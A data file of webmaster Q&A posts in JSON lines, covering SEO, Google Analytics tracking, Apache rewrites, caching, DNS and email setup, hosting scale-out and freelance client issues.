{"id":"38805","title":"SEO: Getting site to show in location-specific searches","text":"I'm really new to this SEO world and I've been reading a lot to try and figure it out. We have a site that allows users to browse\/create events anywhere. And we fill it with content from the main cities in the US. We would like it to show for searches for things like \"events in san francisco\" or \"what to do in new york\", however, since the site is not really location-specific, I'm not really sure where to begin. I've been thinking a couple of things, maybe you can help me decide if these would be a good way to start or if I should try something different. 1- Allow something like location-specific urls (e.g. example.com\/browse\/san- francisco) could just show the main page centered in San Francisco. 2- Change the headers\/title of the page so it adapts automatically to the city being browsed (and change this dynamically as the user changes the location of the map). 3- Add internal links to different locations (e.g. add a link at the footer of the page that says \"Events in Seattle\" that makes the site load events in that city. (this would probably depend on implementing #1). What do you guys think? will any of these really help or should I look for a different approach? any advice is welcome."}
{"id":"68594","title":"Sub category text in the URL of wordpress site","text":"I am launching a site about mobile and it is in **wordpress**. URL structure is as follow example.com\/unlock\/company\/model example.com\/how-to\/company\/model **Unlock** and **how to** are **parent category** and **company** is **subcategory** of both. Now I have to create the company subcategory twice for both the parent category. In that case slug will be different. for eg. example.com\/unlock\/apple\/something example.com\/how-to\/apple_\/something Apple is present in both the unlock and how to category. Same slug cannot be used, so I am using **apple** for unlock and **apple_** for how to, as same **slug** cannot be used. I am try to get a user friendly URL. But does it effect the SEO negatively?"}
{"id":"49253","title":"Utilising Open ID and third party auth services","text":"I'm planning to utilise a third party authorisation service in order to allow users to sign in with their google\/facebook accounts etc. In particular I am aiming to use the Yii extension here- http:\/\/www.yiiframework.com\/extension\/hybridauth\/ I am uncertain of one point, however, and I'm hoping to clear this up before investing time into implementing this. How will I email a user? Are there third part API functions that I can use for this that vary between third party providers? It occurs to me that this must be the same for the StackExchange network as I frequently receive email from the site and only sign in with my google credentials. However, upon checking my profile I can see my email address is listed, so I'm no longer sure. Is anyone able to confirm how this works? If no-one is aware I will test this by registering a new account solely through google and check for emailed notifications."}
{"id":"33027","title":"Facebook like in business model","text":"I have a website \"www.example.com\" and a Facebook page for www.facebook.com\/example\/123456 My website need active users. Now in my website I would like a like button, now the question is: From a marketing point of view, where do I point my like to; to my website or to my Facebook page, having in mind that when a user likes your page any posts on that page gets shared on the user's wall, bringing more potential users."}
{"id":"2710","title":"Multi column flyout menu","text":"I want to build a horizontal menu bar with a multi column flyout of the hovered item. It should be done with html lists, css and javascript (if needed) only. There should be a max height of the flyout so that the following ul's automatically break into the next column. An example of the mentioned navigation can be found on the italian microsoft website (first navigation point called \"Windows\")."}
{"id":"2719","title":"Which media types is it worth including stylesheets for?","text":"My website already has screen and print stylesheets, but there are several more. Are these still worth creating stylesheets for or are they no longer relevant?"}
{"id":"64741","title":"What happens to my domain if the TLD fails?","text":"I have recently registered some domains on the basically brand new `.directory` gTLD. Because of operating costs to maintain a gTLD, it is assumed that many of the hundreds being rolled out this year and next will fail. I will admit I am not very knowledgeable on how the TLD process works. What exactly does a new TLD failing mean? I realize that they lose ICANN accreditation, but does that just mean that they will be no longer be sold? If the `.directory` TLD were to go under, would my `.directory` domains be affected? I bought it from domain registrar Gandi if that helps."}
{"id":"10698","title":"Is using HTML entities (for language-specific characters) in UTF-8 necessary?","text":"As in the subject-line. Saw the situation the other day on a page which felt weird to me. Except for markup-delimiting characters such as pointy brackets or the ampersand, escaping, say, German umlauts shouldn't be necessary, should it? Checked the encoding server-side, in-page and by way of HTTP headers, looks completely UTF-8 to me. What's your take on this and do you reckon it could adversely affect SEO or SERP placement?the page"}
{"id":"9164","title":"how can I find out if a domain is used for email or webserving","text":"Suppose there is a website at example.org, as proven by google results. Now there is also a domain example.com. It aliases to example.org. Google doesn't find any directories on that domain. How can I now for sure if example.com (or its subdomains) are used to serve (unspidered)pages or mail? Or can I be 100% sure that it's only use is an alias, just because searchengines don't see it?"}
{"id":"53083","title":"70K of 301 redirects","text":"I have a website with about 1.5M pages. I am condensing pages that do not have large amounts of content to improve the quality of the site. As a result I have about 70K pages that I have added a < canonical link> to, pointing towards the new master page for the content. Now I want to completely work the existing pages out of the system. I want to 301 redirect the existing pages to the new master pages that the content now resides upon. I am running IIS and normally would use < rewriteMaps>. I am concerned that adding 70k lines to my web.config, to be parsed for every URL, is going to affect performance. Any suggestions on a known\/tested way to accomplish this? TY for your time."}
{"id":"10347","title":"Translated content: Are they considered as duplicate or unique?","text":"I saw some blogs in Turkish that contain translated content from English blogs. They are translated by humans not by automatic software. I wonder if Google counts those pages as duplicate content or not? In reality, the content is duplicate clearly but is there a way for Google to detect this?"}
{"id":"10345","title":"Joomla theme module without tables","text":"I copied the 'com_content' folder from the 'beez' template to the html folder of my template. So now my content displays with divs and without tables. Now I want to same for my modules I add to the right side of my site. They are still build with tables and not divs. Anyone knows how to do this? Thanks"}
{"id":"10344","title":"Caching preventing users seeing site updates","text":"I'm experiencing a caching issue I can't explain. This is happening across browsers, IPs and ISPs. If a user force-refreshes, they see the new content. If they then refresh or return to the page, the old one displays. I've tried using headers via PHP such as header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); Laid out correctly, at the very beginning of the file. The problem persists. A pan-ISP proxy is unlikely. Suggestions?"}
{"id":"54085","title":"Google Analytics recording event based on <a> title attribute","text":"I am declaring: var title = (typeof(el.attr('title')) != 'undefined' ) ? el.attr('title') :\"\"; and then have the following: else if (title.match(\/^\"Matching Content\"\\:\/i)) { elEv.category = \"Matching Content Click\"; elEv.action = \"click-Matching-Content\"; elEv.label = href.replace(\/^https?\\:\\\/\\\/\/i, ''); elEv.non_i = true; elEv.loc = href; } However, using Google Analytics debugger this is not being recorded. Any suggestions? The complete function is: if (typeof jQuery != 'undefined') { jQuery(document).ready(function gLinkTracking($) { var filetypes = \/\\.(avi|csv|dat|dmg|doc.*|exe|flv|gif|jpg|mov|mp3|mp4|msi|pdf|png|ppt.*|rar|swf|txt|wav|wma|wmv|xls.*|zip)$\/i; var baseHref = ''; if (jQuery('base').attr('href') != undefined) baseHref = jQuery('base').attr('href'); jQuery('a').on('click', function (event) { var el = jQuery(this); var track = true; var href = (typeof(el.attr('href')) != 'undefined' ) ? el.attr('href') :\"\"; var title = (typeof(el.attr('title')) != 'undefined' ) ? el.attr('title') :\"\"; var isThisDomain = href.match(document.domain.split('.').reverse()[1] + '.' + document.domain.split('.').reverse()[0]); if (!href.match(\/^javascript:\/i)) { var elEv = []; elEv.value=0, elEv.non_i=false; if (href.match(\/^mailto\\:\/i)) { elEv.category = \"Email link\"; elEv.action = \"click-email\"; elEv.label = href.replace(\/^mailto\\:\/i, ''); elEv.loc = href; } else if (title.match(\/^\"Matching Content\"\\:\/i)) { elEv.category = \"Matching Content Click\"; elEv.action = \"click-Matching-Content\"; elEv.label = href.replace(\/^https?\\:\\\/\\\/\/i, ''); elEv.non_i = true; elEv.loc = href; } else if (href.match(filetypes)) { var extension = (\/[.]\/.exec(href)) ? \/[^.]+$\/.exec(href) : undefined; elEv.category = \"File Downloaded\"; elEv.action = \"click-\" + extension[0]; elEv.label = href.replace(\/ \/g,\"-\"); elEv.loc = baseHref + href; } else if (href.match(\/^https?\\:\/i) && !isThisDomain) { elEv.category = \"External link\"; elEv.action = \"click-external\"; elEv.label = href.replace(\/^https?\\:\\\/\\\/\/i, ''); elEv.non_i = true; elEv.loc = href; } else if (href.match(\/^tel\\:\/i)) { elEv.category = \"Telephone link\"; elEv.action = \"click-telephone\"; elEv.label = href.replace(\/^tel\\:\/i, ''); elEv.loc = href; } else track = false; if (track) { _gaq.push(['_trackEvent', elEv.category.toLowerCase(), elEv.action.toLowerCase(), elEv.label.toLowerCase(), elEv.value, elEv.non_i]); if ( el.attr('target') == undefined || el.attr('target').toLowerCase() != '_blank') { setTimeout(function() { location.href = elEv.loc; }, 400); return false; } } } }); }); }"}
{"id":"9173","title":"What is the proper way to setup Google Apps email accounts for a subdomain?","text":"Let's say I've registered domain.com at enom and set it up to use Google Apps for email by rerouting DNS to enom's servers and editing the MX records there. That works flawlessly. Now let's say I want to have email at a subdomain for that same site. I already have a working subdomain at the host, but I want to catch email traffic at enom before it gets that far. I've set up Google Apps as a new account for the subdomain, successfully verified domain ownership, and now they want me to update MX records. What's the right format? For domain.com, I just put @ for the hostname, and then provided the Address and Pref values that Google gave me. I tried putting subdomain.domain.com as new values under hostname for the subdomain, but that doesn't seem to work. What am I doing wrong?"}
{"id":"16966","title":"Moving Articles From A Blog to Another Blog","text":"I was writing on a blog (source blog) which all users can publish their articles. But now this blog will be closed. SO i want to move my articles to my personal blog. But I'm worrying about Google Sandbox. Can i move my articles to my personal blog without any SEO mistake ? (NOTE : I'm not owner of source blog so i can't do a 301 Forwarding etc.)"}
{"id":"52685","title":"Do some mail clients automatically urldecode %2b strings?","text":"We have an email address verification process on our website. The site first generates an appropriate key as a string mykey It then encodes that key as a bunch of bytes &$dac~ʌ����! It then base64 encodes that bunch of bytes JiRkYWN+yoyIhIQ== Since this key is going to be given as a querystring value of a URL that is to be placed in an HTML email, we need to first URLEncode it then HTMLEncode the result, giving us (there's no effect of HTMLEncoding here, but I can't be bothered to rework the example) JiRkYWN%2ByoyIhIQ%3D%3D This is then embedded in HTML that is sent as part of an email, something like: click <a href=\"http:\/\/myapp\/verify?key=JiRkYWN%2ByoyIhIQ%3D%3D\">here<\/a>. Or paste <b>http:\/\/myapp\/verify?key=JiRkYWN%2ByoyIhIQ%3D%3D<\/b> into your browser. When the receiving user clicks on the link, the site receives the request, extracts the value of the querystring 'key' parameter, base64 decodes it, decrypts it, and does the appropriate thing in terms of the site logic. _However_ on occasion we have users who report that their clicking is ineffective. One such user forwarded us the email he had been sent, and on inspection the HTML had been transformed into (to put it in terms of the example above) click <a href=\"http:\/\/myapp\/verify?key=JiRkYWN+yoyIhIQ%3D%3D\">here<\/a> Or paste <b>http:\/\/myapp\/verify?key=JiRkYWN+yoyIhIQ%3D%3D<\/b> into your browser. That is, the %2B string - but none of the other percentage encoded strings - had been converted into a plus. key=JiRkYWN%2ByoyIhIQ%3D%3D key=JiRkYWN+yoyIhIQ%3D%3D So I think that there are a couple of possibilities: 1. I'm doing something stupid that I can't see, or 2. Some mail clients try to cope with the problem of people mistakenly URLEncoding plus signs by 'helpfully' converting them all back In case of 1 - what is it? In case of 2 - what mail clients? Or, alternatively, is there a standard, known way of dealing with this kind of scenario? Many thanks for any help"}
{"id":"52687","title":"External links from search engine - Redirect?","text":"I am making a site which is designed to contain a large amount of links to other sites, much like a search engine. I have seen two different approached with regards to linking to external sites. 1. Simply to link directly to the external content directly from the links on my own site 2. To redirect to the content via an internal link, such as www.site.com\/r\/myref123 -> www.internet.com\/hello.php Would anyone be able to tell me what the advantage is with each approach? I am stuck at a crossroads here and can't find much information on which approach I should be using."}
{"id":"52631","title":"Having 2 hosting accounts in case one of downtime?","text":"I'm looking for a simple solution to increase my website's uptime. My website consists of simple HTML and PHP pages with no database. Right right I use paid shared hosting and I sometimes find that my website is not loading. Would it be possible to put my website on two hosts and in case the main host is down the other one would get used? What is the best way to set this up?"}
{"id":"6242","title":"how to handle login between different domains?","text":"I've a website with 2 domains (.nl and .com) and a translated version of the content is displayed depending on the domain. My issue is that when a client login under a .nl domain, and he moves to the .com domain, he is not anymore logged in. thanks"}
{"id":"53225","title":"Host header vulnerability reported by Acunetix Scanner","text":"I am getting ready to launch a small web app and decided to scan the site with the Acunetix Web Vulnerability Scanner. I was quite pleased with the results for the most part, but the scanner reports a high level security issue with the setting of the Host header. The scanner provides the following link for more information http:\/\/www.skeletonscribe.net\/2013\/05\/practical-http-host- header-attacks.html Far as I can tell the vulnerability comes into play if you are using the host header to generate URLs, be they urls inserted into sent emails or inserted into pages. Am I correct in thinking that this is not an issue for a web app that is not using the Host header to create urls in any way?"}
{"id":"53556","title":"How can I make Google crawl and index multiple pages?","text":"There are several pages on the web that are not under my direct control but contain content about a product I'm involved with. I'd like make Google robots crawl and index those pages, is there a simple way to nudge Google's spiders towards those pages? I don't have _robots.txt_ access, and I can't provide a sitemap through Google Webmaster Tools since I don't control those websites. Also those are 100 webpages on 100 different domains that I'd like to Google to index so a single sitemap is not an option, I don't want to submit them one by one using the Google \"Add URL\" page since it is very time consuming. Do you know a simple way to accomplish this task? To somehow make Google scan a list of URLs and send it's spiders to index them?"}
{"id":"10522","title":"Subdomains as external backlinks","text":"as far as I know backlinks are good for SEO when they come from external or websites or domains, what about subdomain? do they have the same value of external backlinks or they are just like internal ones? especially when I have the possibility to put each subdomain on a different IP\/country Thanks."}
{"id":"37772","title":"I have a large number of links on every page, for design reasons I want to keep it but is it hurting my SEO","text":"The site is http:\/\/www.centralsaddlery.co.uk We have other issues which we are tackling in terms of content etc but the question I have is: \"Is my main navigation hurting us in SEO?\" Its a lot of links and it's on a lot of pages. If so - what is a way to get google to ignore links below the top level. I had thought google would see that the links are hidden by default and only shown on hover but I can't verify this at all. We absolutely want to keep the menu, our customers like it and so do we - we think it is pretty usable as we have a lot of products to look at. Any advice is appreciated (and any tips for any part of the SEO are welcome too)"}
{"id":"53856","title":"Using Apache's rewrite module to set up local host names for development","text":"I have several websites on my development machine under Apache's htdocs folder. Apache Directory root is htdocs, but I want to be able to access each different site there by individual domain names. For example, I have htdocs\/dev_site_com htdocs\/cre_site_com I have added these lines to my hosts file 127.0.0.1 dev.site.localhost 127.0.0.1 cre.site.localhost Now I want to add an .htaccess file in the htdocs to redirect `dev.site.localhost` request to `htdocs\/dev_site_com` or `127.0.0.1\/dev_site_com` I want to do this so that all of my relative URLs in my site work locally. If I link to a stylesheet in the dev_site_com site using the path `\/css\/style.css`, it will work in production, but not in development, because the root is htdocs and not htdocs\/dev_site_com I've never been good with mod_rewrite.. but this is what I have so far.. <IfModule mod_rewrite.c> Options +FollowSymLinks RewriteEngine on RewriteCond %{REQUEST_URI} ^dev\\.site\\.localhost RewriteRule %1 [L] <\/IfModule> and nothing is happening"}
{"id":"53558","title":"How should I add further servers to support potential increases in traffic to my website?","text":"New here but I post on StackOverflow pretty often. **The scenario:** I am a paying customer of linode. On that account I have one 2GB server which hosts a web application. This single server currently acts as a web (apache2), database, email, and nodejs server. I'm planning on releasing my web application to 20,000 targeted users next week. All is well in saying this, but there's one problem that's bothering me. That problem being that the web application may completely fail as it does some pretty heavy file handling operations on the back-end. Of course I know that not ALL 20,000 users will be signing up to my application in an instant, but it may potentially get 20,000 hits. I want my server to support this high amount of traffic, so this is why I'm preparing for it's launch. * * * **My question(s):** How should I add further linodes to support potential increases in traffic to my website? Should I: A) Just buy a bigger linode to expand my website. Double the power means that the server can handle twice as many users, right? Of course I understand that there are limitations with this too as linode don't offer linodes with unlimited hardware resources. This wouldn't involve buying any additional private IP addresses either, would it? B) Buy the node balancing package from linode to expand my website? Does this mean I have to clone my current disk image and distribute it to all new linodes I buy? If this is the case, how do I handle newly uploaded user files? Should I have a linode especially for this too? Also: Is there a limit as to how many linodes I can buy and 'attach' to the node balancer and does each need an additional private IP address? How about pushing new code changes to the website? How would I deal with this if all source files were on different servers? How about SSL? would my current certificate continue to work across all servers? Is there anything else I need to consider? Apologies for all of these questions but I need a thorough idea of how all of this stuff works. I've done a few hours of pre reading on the topic already, but some of the things above have confused me a bit. Cheers, Joel"}
{"id":"63240","title":"Adding my face to my web-site in Google's search result","text":"I'm trying to accomplish the rich snippet to the template of my future web- site. The data format is `review` and I used the microdata formatting to add all necessary information to the web-page. The Structured Data Testing Tool delivered rating, author information and review date:  However there is no my face image and the sections related to authorship are empty:  I made all that recommended to link my Google+ profile to the web-site:  I did something wrong? Or I will not be able to see my face in the test tools ever and it will be in the real SERP?"}
{"id":"52577","title":"Issue when changing Joomla! 3.1 server","text":"I am changing my Joomla server from last host to another (the domain changed to). **First** I made a ZIP backup with all of my instalation files (even `.htaccess`\/`php.ini`\/etc...), I mean, ALL files from my old host. **Second** I upload my zip file into my new server and unziped to public_html folder **Lastly** I made a backup of my db from old domain & host and replace all db changes of my `configuration.php` (db name, user, password - the prefix of db remained the same). So far so good. My back-end works nicely, all function and stuff stills the same. The problem is my front-end, doesn't show nothing looks like my last site at the old host. I checked out my `.sql` file of my backup and I saw that it calls the root of my last server (gloper56). I already tried to change all calls from my last domain to the new one and if I do this it simply breaks my back-office. This is the old host, and this is the new host (just copy\/paste this link, SE doesn't allow me to put IP as a link `http:\/\/188.93.229.100\/~highplay\/` (without right domain cause I need to fix this before change nameservers). Thank you"}
{"id":"56163","title":"Google Analytics not tracking e-commerce events from AdWords","text":"I have problems tracking e-commerce events from AdWords. The problem is that we can see the events in AdWords but we can't see them in Google Analytics. The rest of the events that come from the same booking engine are in Analytics but the one that come from an AdWords ad are not. Any idea?"}
{"id":"60458","title":"Joomla internal only page","text":"I have a LAMP setup and Joomla. I want to have some URLs\/pages in my Joomla website only internally to my subnet. Is there a file\/URL equivalent for `Directory` like this? <Directory \/usr\/share\/biowiki> Options Indexes FollowSymLinks MultiViews AllowOverride None Order deny,allow deny from all Allow from subnet-address <\/Directory> Or is there any alternative to achieve this?"}
{"id":"61258","title":"How to disable gzip compression using htaccess","text":"I want to disable gzip compression in my site using htaccess. I have the code below in htaccess: php_flag zlib.output_compression off But it is not working."}
{"id":"14990","title":"Google ranking - difference between example.com and example.com\/?ref=id","text":"Does it impact a site's Google ranking if I link to the site with a \"referrer\" query-string? e.g: `example.com\/?ref=mysite` instead of `example.com` ?"}
{"id":"30254","title":"In Google Analytics, how can I plot an overtime line chart of the percentage of visitors from mobile devices out of total number of visitors?","text":"how can I plot this metric? Note that I want to see a graph of the percentage of mobile devices visitors out of the total number of visitors, but **without** also displaying the total number of visitors on the same graph. (BTW it can be also visits, not visitors)"}
{"id":"14996","title":"Affiliate programs offering redirects back to my site after successful conversion","text":"I am building a website where members are rewarded for actions completed. For some of these actions within my site (such as uploading a photo), I would like to offer my members the ability to participate in affiliate sites as follows: Once they complete the required action, they are rewarded on my site. Ideally, I would pass in the redirect url when sending the member to their site. Are there affiliate programs that offer to redirect back to your site?"}
{"id":"14997","title":"How do I use a domain name on a dedicated hosting server?","text":"I recently purchased a domain name from godaddy and am probably going to set up a dedicated server soon. Are there any articles that people know of which can help me set up my domain name on the dedicated server (peer1, rackspace, etc)? A sub-question would be: how do I like the godaddy domain name to my IP address that I get on my dedicated server from one of these hosting companies? Thanks!"}
{"id":"8877","title":"Can I find out the number of searches on a given keyword, per state?","text":"I know that Google tells you how many times a certain keyword is used in a search. You can use the Google Keyword Tool for that. This tool also allows you to find out the number of \"local\" searches: this is the number of times a person from a given country searches for this keyword. My questions: can you also find out how many searches originate from a given American _state_ ? In the Keyword Tool, I can only select countries, not states. Any other systems I can use to determine _where_ people are searching for a given keyword?"}
{"id":"18968","title":"How does Facebook saves images to my HDD","text":"How Facebook downloads images, when you click \"Download\" near the picture? I see, that they are passing some argument: _n.jpg?dl=1 ,but how it is managed 'behind the scenes'?"}
{"id":"8878","title":"Guidance on building an au pair-to-family networking site","text":"I'm building a website for an au pair agency business that will connect au pairs to families around Europe. I know nothing about website building, HTML etc. so I'm using a wysiwyg editer (weebly). How I would like the site to function: * Families upload their information into profiles * Au pairs do the same * families can view a limited part of an au pairs' profile until they pay a deposit * After deposit is payed, all au pairs' profile information becomes open to families * Families can order au pairs and confirm their order with another payment * payment must be made before 'order' is confirmed * By 'order' I mean full communications become open between the family and the au pair they have 'ordered' as well as travel information being sent to another agency * the site needs to be linked with a bank account (e.g paypal) and another agency, who will look after the flight bookings etc. A website already exists for this business however it just contains information on the business and application forms - if the site becomes fully automated it will relieve a lot of strain on administration in the office (dealing with applications, travel information etc.)"}
{"id":"14999","title":"Learning PHP Framework for ecommerce site","text":"Are there any books that can teach a good\/useful PHP framework to build an ecommerce site? Please recommend."}
{"id":"21476","title":"Can't reach site from Firefox and Chrome but works fine using Safari","text":"I've got a virtual server running Ubuntu which I recently set up. As I was trying to learn how to deal with vhosts and serveraliases I made a few errors before I finally managed to get the vhost files in sites-enabled and sites- available working. I kept testing my websites in Firefox (and Chrome I guess) during my various vhost tryout debacles and now when I got everything right I can't reach one of the sites from Firefox and Chrome but in Safari everything seems ok. It's working fine in all browsers if I'm not putting \"www\" in front of the domain name, the problem only appears when typing \"www.example.com\" in the address field instead of just \"example.com\". Also, \"dig www.example.com\" displays the correct IP. I've tried to clear DNS caches in Firefox and Chrome but with no luck, here's what I did in Firefox: http:\/\/www.kahunaburger.com\/2009\/03\/18\/clear-dns-cache- in-firefox\/ And for Chrome I found \"chrome:\/\/net-internals\/#dns\" and clicked the clear DNS button. I also tried to clear my client computer's (Macbook Air running Snow Leopard) DNS cache by running: \"sudo dscacheutil -flushcache\" No luck. If anyone has any suggestions whatsoever please reply, thanks!"}
{"id":"829","title":"Realtime HTTP notifications using Google Analytics when user views my page?","text":"_(I copied this question fromstackoverflow.com, maybe someone here has the answer?)_ I was wondering if its possible with Google Analytics to send real-time HTTP notifications to say PHP when a user visits my website. If not, I am curious about any real-time notifications that Google Analytics can send to me when a user visits my site. Thanks!"}
{"id":"45332","title":"Difficult Client wants me to deliver project before payment","text":"I am currently working on a project for a construction company. The payment due for the final milestone is coming up and completes the entire transaction. The contract states that the entire project will be delivered after payment. **Note:** The client is essentially a middle man connecting me with the construction company and signed a contract with them, as well as with me. He wants me to deliver the entire completed project to their server (which is supposed to happen after the final payment is made) and he is willing to write me a check for 50% the amount of milestone 2 (which is the final milestone) prior to the delivery to the server. He is claiming that he will pay me the rest after the construction company pays him. However, this worries me. Because Once I deliver the work for the second and final milestone, I have no control over anything, and all my work is on their server and I cannot do anything about that. I should note that after paying the 50% of the final milestone cost, about 80% of the total project cost would have been paid in full. Should I trust him and allow this? Should I refuse as this is too risky? I am kind of uneasy because my rates are extremely reasonable and way below average (below $20\/hr). He owns a company, the construction company he is working is pretty big and I am just graduated college a year ago. I shouldn't be the one compromising in my opinion. However, I would like to maintain a good relationship with the client and not sure how I should proceed in this case, as this is one of my first freelance projects. He is asking me to do this for him \"as a friend\". I appreciate any suggestions. Many thanks in advance!"}
{"id":"44570","title":"Organizing website files","text":"I want to start creating my website but I have a few questions. * `http:\/\/website.com\/directory\/webpage` - in this kind of website, it does not display a .php or .HTML extension at the end. How to achieve this? * if I have several pages like contact.html, aboutme.html etc Should I just create separate html files, or should I do something in one main index.php file and use PHP or JavaScript to handle the content according to the URL. Which is a more appropriate workflow?"}
{"id":"26847","title":"When is progressive video preferable to streaming?","text":"Streaming only transfers the portion of the video you are about to view so there is drastically less bandwidth used, however, YouTube has opted to use progressive video instead. Why does YouTube use progressive video instead of streaming? (Obviously conserving bandwidth is not their top priority)"}
{"id":"26846","title":"backup of AWS s3","text":"We had been backing up all of our databases and image files to S3. Around 2TBs of data. But now we are migrating our hosting to amazon and I think we need another backup now, not on amazon. Is this correct? If so any recommendations? preferably an affordable, easy solution."}
{"id":"45150","title":"Website SEO should i use - or |?","text":"I was wondering if I should use (for SEO purposes), either: product_name - product_category | website_name Example: UCleaner - Delete Cache of Computer | HellGates **OR** product_name - product_category - website_name Example: UCleaner - Delete Cache of Computer - HellGates"}
{"id":"30556","title":"My website is Google shielding, help me thankyou","text":"> **Possible Duplicate:** > Users often say my website is infected, but can't find any evidence of > this? This is my website is google shielding。In firefox to show in the web site has the virus, but in other browsers without this kind of situation。"}
{"id":"67093","title":"Yahoo search engine not able to index Ajax content?","text":"Does Yahoo support crawlable Ajax? I'm about solution provided by Google (https:\/\/developers.google.com\/webmasters\/ajax-crawling). How to make my Ajax content crawlable by Yahoo search engine?"}
{"id":"67544","title":"Google Analytics payment gateways are tracking referrals","text":"Google Analytics is tracking my payment gateway conversion as a referral. This is because we take the user to the payment gateway, eg PayPal, but bring them back to the site for the order confirmation page. With all the sites we work on this hasn't happened before so very confused. So we get, as conversions, ipg-online.com \/ referral and paypal.com \/ referral within our analytics. Any ideas?"}
{"id":"12495","title":"Google Analytics - Referring Sites by Goal, is it accurate?","text":"**Preface:** I'm taking a look at the Google Analytics we have for our product's website and we have a bunch of goals setup for each specific type of account we have on the website. **Question:** When looking at the Traffic Sources > Referring Sites page, and then looking at it by Goals, it gives me a set of percentages for each goal by referring site. However, it seems like the only things that have conversions are our internal pages, our blog, and Google. I guess my question is: if a user shows up from another website, and then clicks around before signing up, will they be counted?"}
{"id":"10758","title":"How to use IP address in the search content source?","text":"I have configured the alternate access for my Sharepoint site using the server IP address. I need to use the server path as IP address in the search content source (`http:\/\/10.104.55.333:100`) instead (`http:\/\/server:100`). What configuration changes do I need to do? I tried to use the IP address in the content source but it gives the error."}
{"id":"68643","title":"How to set up a Goal Funnel with new Google Analytics. i.e. Universal Analytics?","text":"I just signed up for Google Analytics after watching some YouTube videos but the Google Analytics site looks totally different. Nonetheless, I was able to set up Goals but how do you set up Funnels for them? That option just isn't there anymore...."}
{"id":"5256","title":"What are the most popular web statistic scripts?","text":"What are the **popular** web statistic scripts\/web log analyzers? I'm searching for popular web statistic scripts like wusage, WebStat or WebAlizer."}
{"id":"14192","title":".htaccess URL rewrite","text":"I used to have a rewrite rule to RewriteRule ^([^\/]+)\\.htm$ index.php?c=$1 [NC] RewriteRule ^([^\/]+)\\.htm\/([0-9.]+)$ index.php?c=$1&amt=$2 [NC] Now, I have to change to RewriteRule ^1\/([^\/]+)\\.htm$ index.php?c=$1 [NC] RewriteRule ^1\/([^\/]+)\\.htm\/([0-9.]+)$ index.php?c=$1&amt=$2 [NC] RewriteRule ^2\/([^\/]+)\\.htm$ index2.php?c=$1 [NC] RewriteRule ^2\/([^\/]+)\\.htm\/([0-9.]+)$ index2.php?c=$1&amt=$2 [NC] The difference is adding a sub-directory. My question is, how can I redirect my old links to the new `1\/` sub-directory?"}
{"id":"68648","title":"Should I map third party blog as a subdomain?","text":"I am wondering if I should map my blog to my domain as a subdomain or just leave it completely separate on the third party site? I am primarily concerned with SEO and the ease of transitioning between content on my domain and on my blog. I know there will be a slight disconnect between my domain and a potential mapped subdomain but if it benefits my domain it shouldn't be an issue. Also do backlinks get credited to my domain or subdomain or are they considered one and the same once they are mapped together? And can I create backlinks from the third party site even though it is mapped as a subdomain on my cash for gold domain?"}
{"id":"1719","title":"Multiple site pages not accesible via main site nav- SEO implications?","text":"I run a site that has some of the site pages accessible through the site's main navigation. Then, there are 50+ \"state\" pages that are accessible to a user if they click on a specific state on a flash map on our home page. What are the SEO implications of having the site set up so that a significant portion of the pages are not accessible via the main navigation of the site? I know that Google has indexed these \"state\" pages previously, as they will pull up in organic rankings occasionally. But, would they rank significantly better if we organized the site differently?"}
{"id":"5259","title":"Is ICANN planning any changes to domain registration soon?","text":"The BBC is reporting that domain registration will be changing next year. > The .co landgrab could be one of the last before ICANN overhauls the way net > addresses are assigned. > > Next year the body is due to open up the system so that companies and > individuals can register any name they want. I haven't heard anything about a change—is the BBC correct, and if so, what are the details?"}
{"id":"14194","title":"Directory access control with Apache: do I need to use a specific .htaccess?","text":"I have an Apache webserver, and in the Apache configuration, I have Alias \/backups \"\/backups\" <Directory \"\/backups\"> AllowOverride None Options Indexes Order allow,deny Allow from all <\/Directory> I can access files via `http:\/\/127.0.0.1\/backups`. The problem is everyone can access that. I have a web interface, e.g. `http:\/\/localhost\/admin`m that is protected with htaccess and password. Now I don't want separate `.htaccess` and `.htpasswd` for `\/backups`, and I don't want a second password prompt when a user clicks on `\/backups` in the web interface. Is there any way to use same `.htaccess` and `.htpasswd` for the backups directory?"}
{"id":"15820","title":"Mac font on website on PC","text":"I like how fonts look on a Mac. Is it possible to render something similar in a website and have it work on all operating systems and browsers? I'm aware of font-face but I can't seem to find a clean font. Ideally I want Arial but more smooth."}
{"id":"15825","title":"Strange robots.txt - how and why did it get there?","text":"I recently created a very simple, pure HTML website which I have hosted with \"hostmonster\". Hostmonster had very good reviews on some comparison website and in general so far they appear to be perfectly good in every way... At least I thought so until just now... I have been making lots of edits to my site on an almost daily basis. My site now appears on the first page (7th on the list) for my most important keyphrase when doing a google search. But I did notice some problem with the snippet chosen by google. I asked a question on this site about snippets and got some great answers. I then made some modifications to my meta data and within 48hrs the google snippet for my search was perfect. The odd thing though was that looking at the \"cached\" version google had, it appeared that the cache was still very old- like three weeks previous. This seemed very odd - how could it be that the google robots had read my new metadata without updating the cache? This puzzled me greatly. Just now it occurred to me that maybe I had some goofey setting in my robots.txt file. I didn't actually remember even making one - but I thought I'd have a look just in case. Much to my horror, I saw that there was a robots.txt and it contained the disturbing text below: sitemap: http:\/\/cdn.attracta.com\/sitemap\/728687.xml.gz Intuitively this looks like some kind of junk, spam trick, and I had indeed been getting some spam from \"attracta\". So my questions are: 1. Should I simply delete this robots.txt? 2. Was the file there all along - placed there because of some commercial tie-in between attracta and hostmonster. 3. Does the attracta robots file explain the lack of re-caching?"}
{"id":"15824","title":"Google: What does a return to PR 'Unranked' mean?","text":"One of my sites is very new (about 3 months). When first launched its pages had (unsurprisingly) a Google PR of 'Unranked' [From Google toolbar stats, via the firefox SearchStatus plugin]. After a few weeks these changed to PR0. Just recently I noticed that they are showing PR 'Unranked' once more in Google Toolbar. As far as I know I'm following the Google guidelines. Results for the site still seem to be showing for its keywords. **What could this mean?**"}
